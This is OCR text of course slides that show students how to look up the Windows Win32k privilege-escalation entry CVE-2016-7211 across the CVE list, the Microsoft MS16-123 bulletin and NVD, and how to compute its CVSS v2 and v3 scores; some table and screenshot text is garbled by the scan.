The Standard for Information Security Vulnerability Names

Home | CVE IDs | About CVE | Compatible Products & More | Community | News | Site Search

HOME > CVE > SEARCH RESULTS

Section Menu
Coverage Goals
Reference Key/Maps
Updates & Feeds
Downloads
Search CVE List
Search Tips
View Entire CVE List (html)
NVD Advanced CVE Search
CVE ID Scoring Calculator

Request a CVE ID

CVE Numbering Authorities
(CNAS)

Requester Responsibilities
Update a CVE ID

About CVE IDs
Terminology
Editorial Policies

Terms of Use

ALSO SEE

Common Vulnerability Scoring
System (CVSS)

TOTAL CVE IDs: 79058

Search Results

|There are 231 CVE entries that match your search.

Name Description

he kernel-mode drivers in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1,
Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10
Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka "Win32k Elevation
of Privilege Vulnerability." a different vulnerability than CVE-2016-3266, CVE-2016-3376, and CVE-2016-
7185.

The Standard Collector Service in Windows Diagnostics Hub in Microsoft Windows 10 Gold, 1511, and

1607 mishandles library loading, which allows local users to gain privileges via a crafted application, aka
"Windows Diagnostics Hub Elevation of Privilege Vulnerability."

List of all Windows 10
N vulnerabilities
The Graphics companel and R2 SP1;

Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; Windows 10 Gold,
1511, and 1607; Office 2007 SP3; Office 2010 SP2; Word Viewer; Skype for Business 2016; Lync 2013
SP1; Lync 2010; Lync 2010 Attendee; and Live Meeting 2007 Console allows attackers to execute arbitrary
code via a crafted True Type font, aka "True Type Font Parsing Elevation of Privilege Vulnerability."

WebKit in Apple iTunes before 12.5.1 on Windows and Safari before 10 allows remote attackers to

execute arbitrary code or cause a denial of service (memory corruption and application crash) via a
crafted web site.

WebKit in Apple i0S before 10, tvOS before 10, iTunes before 12.5.1 on Windows, and Safari before 10
allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a
crafted web site, a different vulnerability than CVE-2016-4759, CVE-2016-4765, CVE-2016-4766, and
CVE-2016-4767.

WebKit in Apple i0S before 10, tvOS before 10, iTunes before 12.5.1 on Windows, and Safari before 10

CVE-2016-7188

The kernel-mode driver
Windows 7 SP1, Windo|
Gold, 1511, and 1607

of Privilege Vulnerabilit

CVE-2016-7185 and R2 SP1,
and Windows 10
a "Win32k Elevation

76, and CVE-2016-

CVE-2016-7182

CVE-2016-4769

CVE-2016-4768

CVE-2016-4767
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CVE Database

&E CVE - CVE-2016-7211 x

<« (] ‘ @ https:;//cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7211 Q 13(| o

HOME > CVE > CVE-2016-7211

Section Menu

CVE IDs
Coverage Goals
Reference Key/Maps
Updates & Feeds

CVE List (all existing CVE IDs) The kernel-mode drivers in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold
load and R2, Windows RT 8.1, and Windows 10 Gold, 1511, and 1607 allow local users to gain privileges via a crafted application, aka "Win32k Elevation of
LITTS Privilege Vulnerability." a different vulnerability than CVE-2016-3266, CVE-20
Search CVE List References I f l/ h -
Let's follow this

View Entire CVE List (html)
NVD Advanced CVE Search

CWE ID Scoring Calculator

Request a CVE ID

CWE Numbering Authorities

(CNAS)
Requester Responsibilities
Update a CVE ID

Documentation
About CVE IDs
Terminology
Editorial Policies
Terms of Use

ALSO SEE

Commen Vulnerability Scoring N/A

System (CVSS)

Commeon Vulnerability Reporting

Framework (CVRF)

U.S. National Vulnerability
Database (NVD)

Common Vulnerabilities and Exposures
The Standard for Information Security Vulnerabiliny Names

Home | CVE IDs | About CVE | Compatible Products & More | Community | News | Site Search
TOTAL CVE IDs: 79058

Printer-Friendly View

CVE-2016-7211 Learn more at National Vulnerability Database (NVD)
= Severity Rating = Fix Infermation » Vulnerable Software Versiens « SCAP Mappings

Note: References are provided for the convenience of the reader to help distinguish bety

reference to the
Microsoft Security

Date Entry Created .

20160909 Disclaimer: The entry creation date may reflect w| Bul/e tln

when this vulnerability was discovered, shared wi

Assigned (20160909}

Votes (Legacy)
Comments (Legacy)

+ MS:MS16-123
* URL:http://technet.microsoft.com/security/bulletin/MS16-123

Proposed (Legacy)

This is an entry on the CVE list, which standardizes names for security problems.

SEARCH CVE USING KEYWORDS: | | [ Submit |
You can also search by reference using the CVE Reference Maps.

For More Information: cve@mitre.org

i?name=CVE-201
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Microsoft Security Bulletin

Overall

Microsoft Security Bulletin MS16-123 - Important | seyerity

Security Update for Windows Kernel-Mode Drivers (3192892)

Published: October 11, 2016 | Updated: September 12, 2017

Version: 2.0

Starts with an

, executive summary
Executive Summary 1.
This security update resolves vulnerabilities in Microsoft Windows. The maore severe of the vulnerabilities

could allow elevation of privilege if an attacker logs on to an affected system and runs a specially crafted
application that could exploit the vulnerabilities and take control of an affected system.

This security update is rated Important for all supported releases of Windows. For more information, see the
Affected Software section.

The security update addresses the vulnerabilities by correcting how the Windows kernel-mode driver
handles objects in memory.

Far more infarmation about the vulnerabilities, see the Vulnerability Information section.

For mare information about this update, see Microsoft Knowledge Base Article 3192892,

rating

On this page
Executive Summary

Affected Software and
Vulnerability Severity Ratings

Vulnerability Information
Security Update Deployment
Acknowledgments
Disclaimer

Revisions
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Microsoft Security Bulletin Severity Ratings

Severity Ratings

Critical. The highest severity assessment. Critical updates are so important to your
organization that, unless you certify them, you will not deploy the updated operating
system.

Important. Your organization regularly uses Important items, but it can continue
to function without them. You can choose to deploy the updated operating system
without requiring certification.

Moderate. The assessment for updates that do not fall into the previous two
categories, but have enough importance to appear in your ACT compatibility reports.
You can deploy the updated operating system without requiring certification.

Low. The assessment for updates that are irrelevant to your organization's day-to-
day functioning. You can use this severity assessment to filter out the unimportant
items from your reports.

Unspecified. The assessment for updates that have not yet been assessed by your
organization. This is the default value and automatically applied to all updates.

Lookup: Microsoft Security Bulletin MS17-010

What is the severity rating?

Put your answer in the chat window PR
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Microsoft Security Bulletin

Affected Software and Vulnerability Severity Ratings

The following software versions or editions are affected. Versions or editions that are not listed are either past their support life cycle or are not
affected. To determine the support life cycle for your software version or edition, see Microsoft Support Lifecycle.

The following severity ratings assume the potential maximum impact of the vulnerability. For information regarding the likelihood, within 30 days of
this security bulletin's release, of the exploitability of the vulnerability in relation to its severity rating and security impact, please see the Exploitability
Index in the October bulletin summary.

Operating System Win32k Windows Transaction | Win32k Win32k Win32k Updates
Elevation of Manager Elevation of | Elevation of Elevation of Elevation of Replaced*
Privilege Privilege Vulnerability | Privilege Privilege Privil
Vulnerability - - CVE-2016-3341 Vulnerability - Vulnerability - anjﬂ-ﬁ

CVE-2016-3266 CVE-2016-3376 | CVE-2016-7185 | CVE-2 MS_Z 6 - 1 23 con t/n ued,

Windows Vista

Windows Vista Service | Important Not applicable Important Not applicable Impo The neXt Section Of the

Pack 2 Elevation of Elevation of Elavat

(3191203) Privilage Privilege Privile bUI/e tin Sho WS Wh iCh
Windows Vista Service | Not applicable Not applicable Not applicable Important Not a VerSiOnS Of Win dO WS

Pack 2 Elevation of

{3183431) Privilege a re Im pa Cted
Windows Vista x64 Important Not applicable Important Not applicable Important 3177725

Edition Service Pack 2 Elevation of Elevation of Elevation of in MS16-

(3191203) Privilege Privilege Privilege 098

Windows Vista x64 Not applicable Not applicable Not applicable Important Not applicable 3124280

Edition Service Pack 2 Elevation of in MS16-

(3183431) Privilege 016

Windows Server 2008

Windows Server 2008 Important Not applicable Important Not applicable Important 3177725



https://technet.microsoft.com/library/security/ms16-123
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Microsoft Security Bulletin

Vulnerability Information

Multiple Win32k Elevation of Privilege Vulnerabilities

Elevation of privilege vulnerabilities exist when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who
successfully exploited these vulnerabilities could run arbitrary code in kernel made. &n attacker could then install programs; view, change, or delete
data; or create new accounts with full user rights.

To exploit these vulnerabilities, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that
could exploit the vulnerabilities and take contral of an affected system. The update addresses these vulnerabilities by correcting how the Windows
kernel-mode driver handles objects in memary.

The following table contains links to the standard entry for each vulnerability in the Commen Vulnerabilities and Exposures list:

Vulnerability title CVE number | Publicly disclosed | Exploited MS16-123 continued.

Win32k Elevation of Privilege Vulnerability | CVE-2018-3266 | No No
_ R .~ , More information on the
Win32k Elevation of Privilege Vulnerability | CVE-2018-3376 | No Mo L
related vulnerabilities are
Win32k Elevation of Privilege Vulnerability | CVE-2018-7185 | No Mo

near the end with links to
Win32k Elevation of Privilege Vulnerability No No the CVE database

Mitigating Factors
Micrasoft has not identified any mitigating factors for these vulnerabilities.

Workarounds

Microsoft has not identified any workarounds for these vulnerabilities.



https://technet.microsoft.com/library/security/ms16-123

CVE-2016-7211
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CVE Database

&E CVE - CVE-2016-7211

&

HOME > CVE > CVE-2016-7211

Section Menu

CVE IDs
Coverage Goals
Reference Key/Maps
Updates & Feeds

CVE List (all existing CVE IDs)
Downloads
Search CVE List
Search Tips
View Entire CVE List (html)
NVD Advanced CVE Search
CWE ID Scoring Calculator

Request a CVE ID

CWE Numbering Authorities
(CNAS)

Requester Responsibilities
Update a CVE ID

Documentation
About CVE IDs
Terminology
Editorial Policies
Terms of Use

ALSO SEE

Commen Vulnerability Scoring
System (CVSS)

Commeon Vulnerability Reporting
Framework (CVRF)

U.S. National Vulnerability
Database (NVD)

- O
X
(] ‘ & https://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7211 Q 13(| o
Common Vulnerabilities and Exposures
The Standard for Information Security Vulnerabiliny Names
Home | CVE IDs | Abo le Products & More | Community | News | Site Search

TOTAL CVE IDs: 79058

Printer-Friendly View

Learn more at National Vulnerability Database (NVD)
= Severity Ratin ix Infermation » Vulnerable Software Versiens « SCAP Mappings

CVE-2016-721

Description

The kernel-mode drivers in Microsoft Windows Vista SP2, W
and R2, Windows RT 8.1, and Windows 10 Gold, 1511, and
Privilege Vulnerability." a different vulnerability than CVE-2

Note: References are provided for the convenience of the reader to

2 Gold
of

Let's go back now to the CVE
Database and follow the link
to the National VVulnerability

Database

Disclaimer: The entry creation date may reflect when the -ID was allocated or reserved, and does not necessarily indicate
when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Assigned (20160909}

Votes (Legacy)
Comments (Legacy)

+ MS:MS16-123
* URL:http://technet. microsoft.com/security/bulletin/MS

Date Entry Created
20160909

Proposed (Legacy)

N/A
This is an entry on the CVE list, which standardizes names for security problems.

SEARCH CVE USING KEYWORDS: |
You can also search by reference using the CVE Reference Maps.

| [ Submit |

For More Information: cve@mitre.org
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National Vulnerability Database

e - ] X
&L CVE-CVE-2016-7211 X J NVD - CVE-2016-7211 x
C | 8 Secure | https://nvd.nist.gov/vuln/detail/CVE-2016-7211 A 0@
=2 Apps R vahoo Cabrillo College Health Network CIS 76 links Lab Development Home Music Training [7 Expand Al [} Link Comments Other bookmarks

NIST = NVD MENU

Information Technology | aborato

NATIONAL VULNERABILITY DATABASE Nw

More details on the
specific Windows 10

] vulnerability including the
ik CVE-2016-7211 Detail CV/SS scores

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information

provided.

e e QUICK INFO
Description
CVE Dictionary Entry: CVE-2016-7211

The kernel-mode drivers in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 original release date: 10/13/2016
SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold, 1511, and Last revised: 11/28/2016
1607 allow local users to gain privileges via a crafted application, aka "Win32k Elevation of Privilege Source: US-CERT/NIST

Vulnerability." a different vulnerability than CVE-2016-3266, CVE-2016-3376, and CVE-2016-7185.

Source: MITRE Last Modified: 10/13/2016
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National Vulnerability Database

&£ CVE - CVE-2016-7211 x / |8 NVD - CVE-2016-7211 X CVSS Scoresl nOte there
c ‘ 8 Secure | httpsy//nvd.nist.gov/vuln/detail/CVE-2016-7211 ae tWO VerSionS

2 Apps Yahoo Cabrillo College Health Network CIS 76 links Lsb Development Home Music Training [4 Expand All e TreTooRTTE
Impact
CVSS Severity (version 3.0): CVSS Severity (version 2.0):
CVSS v3 Base Score: 7.3 High CVSS v2 Base Score: 7.2 HIGH
Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/AH Vector: (AV:L/AC:L/Au:N/C:C/1:C/A:C) (legend)
(legend) Impact Subscore: 10.0
Impact Score: 5.9 Exploitability Subscore: 3.9

Exploitability Score: 1.3

CVSS Version 2 Metrics:

CVSS Version 3 Metrics: _
Access Vector: Locally exploitable

Attack Vector (AV): Local Access Complexity: Low
Attack Complexity (AC): Low Authentication: Mot required to exploit
Privileges Required (PR): Low Impact Type: Allows unauthorized disclosure of information;
User Interaction (Ul): Required Allows unauthorized modification: Allows
Scope (S): Unchanged disruption of service

Confidentiality (C): High
Integrity (1): High
Availability (A): High

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be
of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are
more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST
does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

Hyperlink Resource Type Source Name

{technet. microsoft.com/security/bulletin/MS16-123 Patch; Vendor Advisory External Source MS MS16-123
-/ fwww.securityfocus.com/bid /93556 External Source BID 93556

nist.qgov/view/vuln/detail?vulnId=CVE
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&

CVE - CVE-2016-7211 X NVD - CVE-2016-7211 X

25 apps B4 vahoo

C | @ Secure | httpsy//nvd.nist.gov/vuln/detail/CVE-2016-7211

Cabrillo College Health Network CIS 76 links Lab Development Home

Technical Details

* 0@

Other bookmarks

Music Training [ Expand Al [ Link Comments

Vulnerability Type (View All)

Type of vulnerability

« Permissions, Privileges, and Access Control (CWE-264)

Vulnerable software and versions switch to cre 2.2

+ configuration 1
+oRrR
% cpe:2.3:0:microsoft:windows_10:-

% cpe:2.3:0:microsoft:windows_T7:*:spla**h

% cpe:2.3:0:microsoft:windows_8.1: %%ttt

% cpe:2.3:0:microsoft:windows_rt_8.1:% 4

% cpe:2.3:0:microsoft:windows_server_2008:*:sp2:* " "

What versions are
impacted

% cpe:2.3:0:microsoft:windows_server_2008:r2:spl:*:
% cpe:2.3:0:microsoft:windows_server_2012:-:*:*:*:
% cpe:2.3:0:microsoft:windows_server_2012:r2:%% %%
%k cpe:2.3:0:microsoft:windows_vista:*:sp2:*:* it

% Denotes Vulnerable Software

Change History 5 change records found - show changes

National Institute of

i N =

f in

[m]

X

]
-
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National Vulnerability Database

(<] - O x
6F CVE-CVE-2016-7211  x ' 8 NVD- CVE-2016-7211  (LF CWE - CWE-264: Permis=
C |® cwe.mitre.org/data/definitions/264.html ‘ﬁ" [ )
12 apps B Yahoo || Cabrillo College || Health Network [ CIS 76 links Lab Development Home [| Music [| Training [} Expand Al [§ Link Comments Other bookmarks

Common Weakness Enumeration
~ A Community-Developed List of Software Weakness Tipes

Home > CWE List > CWE- Individual Dictionary Definition (2.11)

CWE CATEGORY: Permissions, Privileges, and Access Controls

Category ID: 264 Status: Incomplete
¥ Description

Description Summary
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform

access control.

¥ Applicable Platforms
Languages

All

¥ Detection Methods

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage: Dri//ing do Wn to the

+ Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial type Of Vu/nerabi/ity

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection technigues may be useful:
Cost effective for partial coverage:
« Web Application Scanner
+ Web Services Scanner
« Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
» Fuzz Tester
s Framework-based Fuzzer

cwe.mitre.org/data/definitions/26
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National Vulnerability Database
CVSS Base Score Version 2.0

o - o x|

&£ CVE - CVE-2016-7211 x / |8 NVD - CVE-2016-7211 X

() ‘ 8 Secure | httpsy//nvd.nist.gov/vuln/detail/CVE-2016-7211 Click the /ink to See ho W
i Apps K Yahoo Cabrillo College Health Network CIS 76 links Lab Development Home Music Training [ Expand All [
the score was calculated
Impact using version 2.0

CVSS Severity (version 3.0): CVSS Severity (version 2.0):
CVSS v3 Base Score: 7.3 High CVSS v2 Base Score: 7.2 HIGH
Vector: CVSS:3.0/AV:L/AC:L/PR:L/ULLR/S:U/C:H/I:H/A:H Vec‘tor:[(AV:L!'AC:UAU:N,"C:C /1:C/A:C) (legend) l
(legend) Impact Subscore: 10.0
Impact Score: 5.9 Exploitability Subscore: 3.9

Exploitability Score: 1.3

CVSS Version 2 Metrics:

CVSS Version 3 Metrics: _
Access Vector: Locally exploitable

Attack Vector (AV): Local Access Complexity: Low
Attack Complexity (AC): Low Authentication: Mot required to exploit
Privileges Required (PR): Low Impact Type: Allows unauthorized disclosure of information;
User Interaction (Ul): Required Allows unauthorized modification: Allows
Scope (S): Unchanged disruption of service

Confidentiality (C): High
Integrity (1): High
Availability (A): High

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be
of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are
more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST
does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

Hyperlink Resource Type Source Name
http://technet. microsoft.com/security/bulletin/MS16-123 Patch; Vendor Advisory External Source MS MS16-123
http://www.securityfocus.com/bid /93556 External Source BID 93556

detail?vulnld=CVE-2
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National Vulnerability Database
CVSS Base Score Version 2.0

CVE-2016-7211

This page shows the components of the CVSS scare for example and allows you to refine the CVSS base score. Please

read the CVSS standards guide to fully understand how to score CVSS vulnerabilities and to interpret CVSS scores. The
scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal
Score is used to calculate the Environmental Score.

Base Scores Temporal Environmental Overall CVSS Base Score: 7.2
10.0 10.0 10.0 Impact Subscore: 10.0
8.0 8.0 8.0 Exploitability Subscore: 3.9
6.0 6.0 6.0 CVSS Temporal Score: NA
4.0 4.0 4.0 CVSS Environmental Score: NA
2.0 2.04 Modified Impact Subscore: NA
00 0.0 ‘ Overall CVSS Score: 7.2 SCOFG — 7. 2
Base Impact Exploitability Temporal Environmental Modified Impact Overall

Show Equations

CVSS v2 Vector
(AV:L/AC:L/AU:N/C:C/I:C/A:C)

Base Score Metrics The "calculator”
Exploitability Metrics Impact Metrics

Attack Vector (AV)* Confidentiality Impact (C)* Note that the [mpact
e SR ntegrty mpact metrics refer to the
T s D CIA triad.

Multiple (Au:M)  single (au:s) [ EEETIENN None (A:N)  Partial (A:P) [ o]

nvd.nist.gov/vuln-metrics/cvss/v2-calculator?name=CVE-

2016-7211&vector=


https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator?name=CVE-2016-7211&vector=(AV:L/AC:L/Au:N/C:C/I:C/A:C)
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CVE Scoring Rubric v2 - Base Score

2.1.1. Access Vector (AV)

This metric reflects how the vulnerability is exploited. The possible values for this metric are listed in
Table 1. The more remote an attacker can be to attack a host. the greater the vulnerability score.

Metric Description

Value
A vulnerability exploitable with only local access requires the attacker to have either physical
(L) access to the vulnerable system or a local (shell) account. Examples of locally exploitable

vulnerabilities are peripheral attacks such as Firewire/USB DMA attacks, and local privilege
escalations (e.g., sudo).
AdjacentA vulnerability exploitable with adjacent network access requires the attacker to have access to
MNetworkjeither the broadcast or collision domain of the vulnerable software. Examples of local
(A) networks include local IP subnet, Bluetooth, IEEE 802.11, and local Ethernet segment.
MNetwork A vulnerability exploitable with network access means the vulnerable software is bound to the

(N) network stack and the attacker does not require local network access or local access. Such a
vulnerability is often termed "remotely exploitable”. An example of a network attack is an RPC

buffer overflow.

Table 1: Access Vector Scoring Evaluation

https://www.first.org/cvss/v2/quide
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CVE Scoring Rubric v2 - Base Score

2.1.2. Access Complexity (AC)

This metric measures the complexity of the attack required to exploit the vulnerability once an attacker
has gained access to the target system. For example. consider a buffer overflow in an Internet service:
once the target system is located. the attacker can launch an exploit at will.

Other vulnerabilities, howewver, may require additional steps in order to be exploited. For example. a
vulnerability in an email client is only exploited after the user downloads and opens a tainted
attachment. The possible values Tor this metric are listed in Table 2. The lower the required complexity.
the higher the vulnerability score.

Metric Description

Value
Hig Specialized access conditions exist. For example:
(H) = In most configurations, the attacking party must already have elevated privileges or spoof

additional systems in addition to the attacking system (e.g.. DNS hijacking).
- The attack depends on social engineering methods that would be easily detected by

knowledgeable people. For example. the victim must perform several suspicious or atypical
actions._

I The wvulnerable configuration is seen very rarely in practice.

IT a race condition exists, the window is very narrow.

he access conditions are somewhat specialized; the following are examples:

(n) » The attacking party is limited to a group of systems or users at some level of authorization,
possibly untrusted.

Some information must be gathered before a successful attack can be launched.

The affected configuration is non-default. and is not commonly configured {(e.q.. a
vulnerability present when a server performs user account authentication via a specific
scheme. but not present for another authentication scheme).

- The attack requires a small amount of social engineering that might occasionally fool
cautious users (e.q.. phishing attacks that modify a web browsers status bar to show a Talse
link, having to be on someones buddy list before sending an 1M exploit).

(L) Specialized access conditions or extenuating circumstances do not exist. The following are
examples:

i+ The affected product typically requires access to a wide range of systems and users,
possibly anonymous and untrusted (e_qg.. Internet-facing web or mail server).

I The affected configuration is default or ubiquitous._
- The attack can be performed manually and requires little skill or additional information
gathering.
© The race condition is a lazy one (i.e_. it is technically a race but easily winnable).

www.first.o ss/v2/quid
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2.1.3. Authentication (Au)

This metric measures the number of times an attacker must authenticate to a target in order to exploit a
vulnerability. This metric does not gauge the strength or complexity of the authentication process, only
that an attacker is required to provide credentials before an exploit may occur. The possible values for
this metric are listed in Table 3. The fewer authentication instances that are required, the higher the
vulnerability score.

Metric Description
Value
(MuMip¥Exploiting the vulnerability requires that the attacker authenticate two or more times, even if the
() same credentials are used each time. An example is an attacker authenticating to an operating
system in addition to providing credentials to access an application hosted on that system.
The vulnerability requires an attacker to be logged into the system (such as at a command line
=) or via a deskiop session or web interface).
(None ] Authentication is not required to exploit the vulnerability.
(N)

Table 3: Authentication Scoring Evaluation

The metric should be applied based on the authentication the attacker requires before launching an
attack. For example, if a mail server is vulnerable to a command that can be issued before a user
authenticates, the metric should be scored as "Mone" because the attacker can launch the exploit
before credentials are required. If the vulnerable command is only available after successful
authentication, then the vulnerability should be scored as "Single"” or "Multiple," depending on how
many instances of authentication must occur before issuing the command.

https://www.first.org/cvss/v2/quide
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CVE Scoring Rubric v2 - Base Score

2.1.4. Confidentiality Impact (C)

This metric measures the impact on confidentiality of a successfully exploited vulnerability.
Confidentiality refers to limiting information access and disclosure to only authorized users, as well as
preventing access by, or disclosure to, unauthorized ones. The possible values for this metric are listed
in Table 4. Increased confidentiality impact increases the vulnerability score.

Metric Description
Value
(None)(N) There is no impact to the confidentiality of the system.
There is considerable informational disclosure. Access to some system files is possible, but
(P the attacker does not have control over what is obtained, or the scope of the loss is
constrained. An example is a vulnerability that divulges only certain tables in a database.
(CompleteThere is total information disclosure. resulting in all system files being revealed. The attacker
(C) is able to read all of the system's data (memory. files, efc.)

Table 4: Confidentiality Impact Scoring Evaluation

https://www.first.org/cvss/v2/quide
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2.1.5. Integrity Impact (l)

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to
the trustworthiness and guaranteed veracity of information. The possible values for this metric are listed
in Table 5. Increased integrity impact increases the vulnerability score.

Metric Description
Value

(None}N) There is no impact to the integrity of the system.
nModification of some system files or information is possible, but the attacker does not have
(P) control over what can be modified, or the scope of what the attacker can affect is limited. For
example, system or application files may be overwritten or modified, but either the attacker
has no control over which files are affected or the attacker can modify files within only a
limited context or scope.
here is a total compromise of system integrity. There is a complete loss of system protection,

() resulting in the entire system being compromised. The attacker is able to modify any files on
the target system.

Table 5: Integrity Impact Scoring Evaluation

https://www.first.org/cvss/v2/quide
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2.1.6 Availability Impact (A)

This metric measures the impact to availability of a successfully exploited vulnerability. Availability refers
to the accessibility of information resources. Attacks that consume network bandwidth, processor
cycles, or disk space all impact the availability of a system. The possible values for this metric are listed
in Table 6. Increased availability impact increases the vulnerability score.

Metric Description

Value

(None)(N) There is no impact to the availability of the system.

There is reduced performance or interruptions in resource availability. An example is a

(P) network-based flood attack that permits a limited number of successful connections to an
Internet service.

here is a total shutdown of the affected resource. The attacker can render the resource

(C) completely unavailable.

Table 6: Availability Impact Scoring Evaluation

https://www.first.org/cvss/v2/quide
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CVE Scoring Rubric v2 - Calculator

] - [m] x
84 CVE - CVE-2016-7211 x NVD - CVE-2016-7211 x NVD - CVSS v3 Calculate X NVD - CVS5 v2 Calculate X/ B NVD - CVSS v2 Calculate X
C | & Secure | httpsy//nvd.nistgov/vuln-metrics/cvss/v2-calculator w0 @
= apps N Yahoo Cabrillo College Health Network CIS 76 links Lab Development Home Music Training [ Expand Al [J Link Comments Other bookmarks

k] Common Vulnerability Scoring System Calculator version 2

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please

read the CVSS standards guide to fully understand how to score CVSS vulnerabilities and to interpret CVSS scores. The

scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal
Score is used to calculate the Environmental Score.

Base Scores Temporal Environmental Overall CVSS Base Score: NA
100 100 100 100 Impact Subscore: NA
8.0 8.0 8.0 8.0 Exploitability Subscore: NA -
6.0 6.0 6.0 6.0 CVSsS Temporal Score: NA Score WI// be ShO Wn here
4.0 4.0 4.0 4.0 CVSS Environmental Score: NA
2.04 2.0 2.04 2.0 Modified Impact Subscore: NA
0.0 0.0 0.0 0.0 Overall CVSS Score: NA
Base Impact Exploitability Temporal Environmental Modified Impact Overall

Show Equations

CVSS v2 Vector
NA

Base Score Metrics

Exploitability Metrics Impact Metrics

Attack Vector (AV)*

Local (AV:L) = Adjacent Network (AV:A)  Network (AV:N)
Access Complexity (AC)*

High (AC:H) | Medium (AC:M)  Low (AC:L)
Authentication (Au)*

Multiple (Au:M) Single (Au:S) None (Au:N)

Confidentiality Impact (C)* .

None (C:N)  Partial (C:P) ~ Complete (C:C) Toggle Se/ectlons here
Integrity Impact (1)*

None (I:N} Partial (I:P) Complete (I:C)
Availability Impact (A)*

None (A:N) Partial (A:P) Complete (A:C)

ist.gov/vuln-metrics/cvss/v2-calculator


https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator

FT

Use the CVSS v2.0 calculator to calculate the baseline score of this
hypothetical vulnerability:

» Access vector: Must be local

« Access complexity: Specialized access conditions exist
« Authentication: Single login required

« Confidentiality: Partial

« Integrity: None

« Availability: Complete

Write your baseline score calculation in the chat window

100
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National Vulnerability Database
CVSS Base Score Version 3.0

o - [m] X

&£ CVE - CVE-2016-7211 x / |8 NVD - CVE-2016-7211

() ‘ 8 Secure | httpsy//nvd.nistgov/vuln/detail /C C/iCk the /ink to See ho W ﬁ| (o J:-]

i Apps W Yahoo [ Cabrillo College Health Netw

Link Comments Other bookmarks

the score was calculated z
Impact using version 3.0

CVSS Severity (version 3.0): CVSS Severity (version 2.0):
CVSS v3 Base Score: 7.3 High CVSS v2 Base Score: 7.2 HIGH
Vectork_CVSS:3.0/AV:L/AC:L/PR:L/ULR/S:U/CH/LH/AH ) Vector: (AV:L/AC:L/Au:N/C:C/1:C/A:C) (legend)
(legend) Impact Subscore: 10.0
Impact Score: 5.9 Exploitability Subscore: 3.9

Exploitability Score: 1.3

CVSS Version 2 Metrics:

CVSS Version 3 Metrics: _
Access Vector: Locally exploitable

Attack Vector (AV): Local Access Complexity: Low
Attack Complexity (AC): Low Authentication: Mot required to exploit
Privileges Required (PR): Low Impact Type: Allows unauthorized disclosure of information;
User Interaction (Ul): Required Allows unauthorized modification: Allows
Scope (S): Unchanged disruption of service

Confidentiality (C): High
Integrity (1): High
Availability (A): High

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be
of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are
more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST
does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

Hyperlink Resource Type Source Name
http://technet. microsoft.com/security/bulletin/MS16-123 Patch; Vendor Advisory External Source MS MS16-123
http://www.securityfocus.com/bid /93556 External Source BID 93556

detail?vulnld=CVE-2
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CVE-2016-7211

CIS 76 - Lesson 10

National Vulnerability Database

CVSS Base Score Version 3.0

This page shows the components of the CVSS score for example and allows you to refine the CVSS base score. Please
read the CVSS standards guide to fully understand how to score CVSS vulnerabilities and to interpret CVSS scores, The

Us gL

scores are computed in sequence such that the Base Score is used to calculate the Temporal Score and the Temporal
Score is used to calculate the Environmental Score.

Base Scores Temporal Environmental Overall CVSS Base Score: 7.3
10.0 10.0 10.0 Impact Subscare: 5.9
8.04 8.0 8.0 Exploitability Subscore: 1.3
6.0 6.0 6.0 CVSS Temporal Score: NA
4.0 4.0 4.0 CVSS Environmental Score: NA
2.0 3.0 2.0 Modified Impact Subscore: NA
oo oo oo Overall CVSS Score: 7.3 Score — 7 3
Base Impact Exploftability Temporal Environmental Modified Impact Overall

CVSS Vector

AVL/ACL/PR:L/ULR/S:U/C:H/I:H/AH

Base Score Metrics

Exploitability Metrics

Attack Vector (AV)*
Network [AV:N)
Attack Complexity (AC)*
High (AC:H)
Privileges Required (PR)*
None (PR:N) High (PR:H)
User Interaction (UI)*

WGHENVRI Required (UI:R)

Adjacent Network (AV:A) ESEIRTATARE Physical (AV:P)

